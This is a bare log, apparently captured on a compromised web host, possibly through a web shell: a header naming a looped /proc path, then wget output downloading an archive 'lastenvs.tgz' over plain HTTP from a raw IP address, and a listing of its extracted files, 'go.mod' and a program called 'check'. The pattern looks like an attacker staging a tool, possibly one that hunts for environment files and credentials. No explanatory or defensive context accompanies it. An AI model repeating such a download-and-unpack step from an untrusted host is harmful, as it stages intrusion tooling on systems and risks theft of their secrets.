File: //proc/self/root/proc/self/root/dev/unll
--2026-06-15 10:05:09-- http://77.90.185.28/lastenvs.tgz
Connecting to 77.90.185.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4736315 (4.5M) [application/x-gzip]
Saving to: ‘lastenvs.tgz’
0K .......... .......... .......... .......... .......... 1% 494K 9s
50K .......... .......... .......... .......... .......... 2% 510K 9s
100K .......... .......... .......... .......... .......... 3% 108M 6s
150K .......... .......... .......... .......... .......... 4% 137M 4s
200K .......... .......... .......... .......... .......... 5% 503K 5s
250K .......... .......... .......... .......... .......... 6% 191M 4s
300K .......... .......... .......... .......... .......... 7% 217M 4s
350K .......... .......... .......... .......... .......... 8% 241M 3s
400K .......... .......... .......... .......... .......... 9% 1.89M 3s
450K .......... .......... .......... .......... .......... 10% 115M 3s
500K .......... .......... .......... .......... .......... 11% 46.6M 2s
550K .......... .......... .......... .......... .......... 12% 135M 2s
600K .......... .......... .......... .......... .......... 14% 690K 2s
650K .......... .......... .......... .......... .......... 15% 226M 2s
700K .......... .......... .......... .......... .......... 16% 215M 2s
750K .......... .......... .......... .......... .......... 17% 224M 2s
800K .......... .......... .......... .......... .......... 18% 200M 2s
850K .......... .......... .......... .......... .......... 19% 257M 2s
900K .......... .......... .......... .......... .......... 20% 212M 2s
950K .......... .......... .......... .......... .......... 21% 262M 1s
1000K .......... .......... .......... .......... .......... 22% 129M 1s
1050K .......... .......... .......... .......... .......... 23% 233M 1s
1100K .......... .......... .......... .......... .......... 24% 238M 1s
1150K .......... .......... .......... .......... .......... 25% 182M 1s
1200K .......... .......... .......... .......... .......... 27% 2.16M 1s
1250K .......... .......... .......... .......... .......... 28% 91.2M 1s
1300K .......... .......... .......... .......... .......... 29% 123M 1s
1350K .......... .......... .......... .......... .......... 30% 88.1M 1s
1400K .......... .......... .......... .......... .......... 31% 672K 1s
1450K .......... .......... .......... .......... .......... 32% 107M 1s
1500K .......... .......... .......... .......... .......... 33% 137M 1s
1550K .......... .......... .......... .......... .......... 34% 168M 1s
1600K .......... .......... .......... .......... .......... 35% 151M 1s
1650K .......... .......... .......... .......... .......... 36% 13.3M 1s
1700K .......... .......... .......... .......... .......... 37% 129M 1s
1750K .......... .......... .......... .......... .......... 38% 150M 1s
1800K .......... .......... .......... .......... .......... 39% 160M 1s
1850K .......... .......... .......... .......... .......... 41% 159M 1s
1900K .......... .......... .......... .......... .......... 42% 131M 1s
1950K .......... .......... .......... .......... .......... 43% 150M 1s
2000K .......... .......... .......... .......... .......... 44% 136M 1s
2050K .......... .......... .......... .......... .......... 45% 136M 1s
2100K .......... .......... .......... .......... .......... 46% 130M 1s
2150K .......... .......... .......... .......... .......... 47% 552K 1s
2200K .......... .......... .......... .......... .......... 48% 220M 1s
2250K .......... .......... .......... .......... .......... 49% 250M 1s
2300K .......... .......... .......... .......... .......... 50% 221M 1s
2350K .......... .......... .......... .......... .......... 51% 241M 1s
2400K .......... .......... .......... .......... .......... 52% 250M 1s
2450K .......... .......... .......... .......... .......... 54% 279M 1s
2500K .......... .......... .......... .......... .......... 55% 208M 0s
2550K .......... .......... .......... .......... .......... 56% 246M 0s
2600K .......... .......... .......... .......... .......... 57% 262M 0s
2650K .......... .......... .......... .......... .......... 58% 229M 0s
2700K .......... .......... .......... .......... .......... 59% 217M 0s
2750K .......... .......... .......... .......... .......... 60% 188M 0s
2800K .......... .......... .......... .......... .......... 61% 261M 0s
2850K .......... .......... .......... .......... .......... 62% 230M 0s
2900K .......... .......... .......... .......... .......... 63% 221M 0s
2950K .......... .......... .......... .......... .......... 64% 2.07M 0s
3000K .......... .......... .......... .......... .......... 65% 51.2M 0s
3050K .......... .......... .......... .......... .......... 67% 697K 0s
3100K .......... .......... .......... .......... .......... 68% 165M 0s
3150K .......... .......... .......... .......... .......... 69% 54.0M 0s
3200K .......... .......... .......... .......... .......... 70% 213M 0s
3250K .......... .......... .......... .......... .......... 71% 197M 0s
3300K .......... .......... .......... .......... .......... 72% 217M 0s
3350K .......... .......... .......... .......... .......... 73% 245M 0s
3400K .......... .......... .......... .......... .......... 74% 235M 0s
3450K .......... .......... .......... .......... .......... 75% 226M 0s
3500K .......... .......... .......... .......... .......... 76% 256M 0s
3550K .......... .......... .......... .......... .......... 77% 236M 0s
3600K .......... .......... .......... .......... .......... 78% 211M 0s
3650K .......... .......... .......... .......... .......... 79% 216M 0s
3700K .......... .......... .......... .......... .......... 81% 176M 0s
3750K .......... .......... .......... .......... .......... 82% 192M 0s
3800K .......... .......... .......... .......... .......... 83% 211M 0s
3850K .......... .......... .......... .......... .......... 84% 2.26M 0s
3900K .......... .......... .......... .......... .......... 85% 99.5M 0s
3950K .......... .......... .......... .......... .......... 86% 99.3M 0s
4000K .......... .......... .......... .......... .......... 87% 38.2M 0s
4050K .......... .......... .......... .......... .......... 88% 688K 0s
4100K .......... .......... .......... .......... .......... 89% 241M 0s
4150K .......... .......... .......... .......... .......... 90% 202M 0s
4200K .......... .......... .......... .......... .......... 91% 186M 0s
4250K .......... .......... .......... .......... .......... 92% 105M 0s
4300K .......... .......... .......... .......... .......... 94% 149M 0s
4350K .......... .......... .......... .......... .......... 95% 174M 0s
4400K .......... .......... .......... .......... .......... 96% 158M 0s
4450K .......... .......... .......... .......... .......... 97% 139M 0s
4500K .......... .......... .......... .......... .......... 98% 167M 0s
4550K .......... .......... .......... .......... .......... 99% 149M 0s
4600K .......... .......... ..... 100% 147M=0.8s
2026-06-15 10:05:13 (5.62 MB/s) - ‘lastenvs.tgz’ saved [4736315/4736315]
lastenvs/
lastenvs/go.mod
lastenvs/check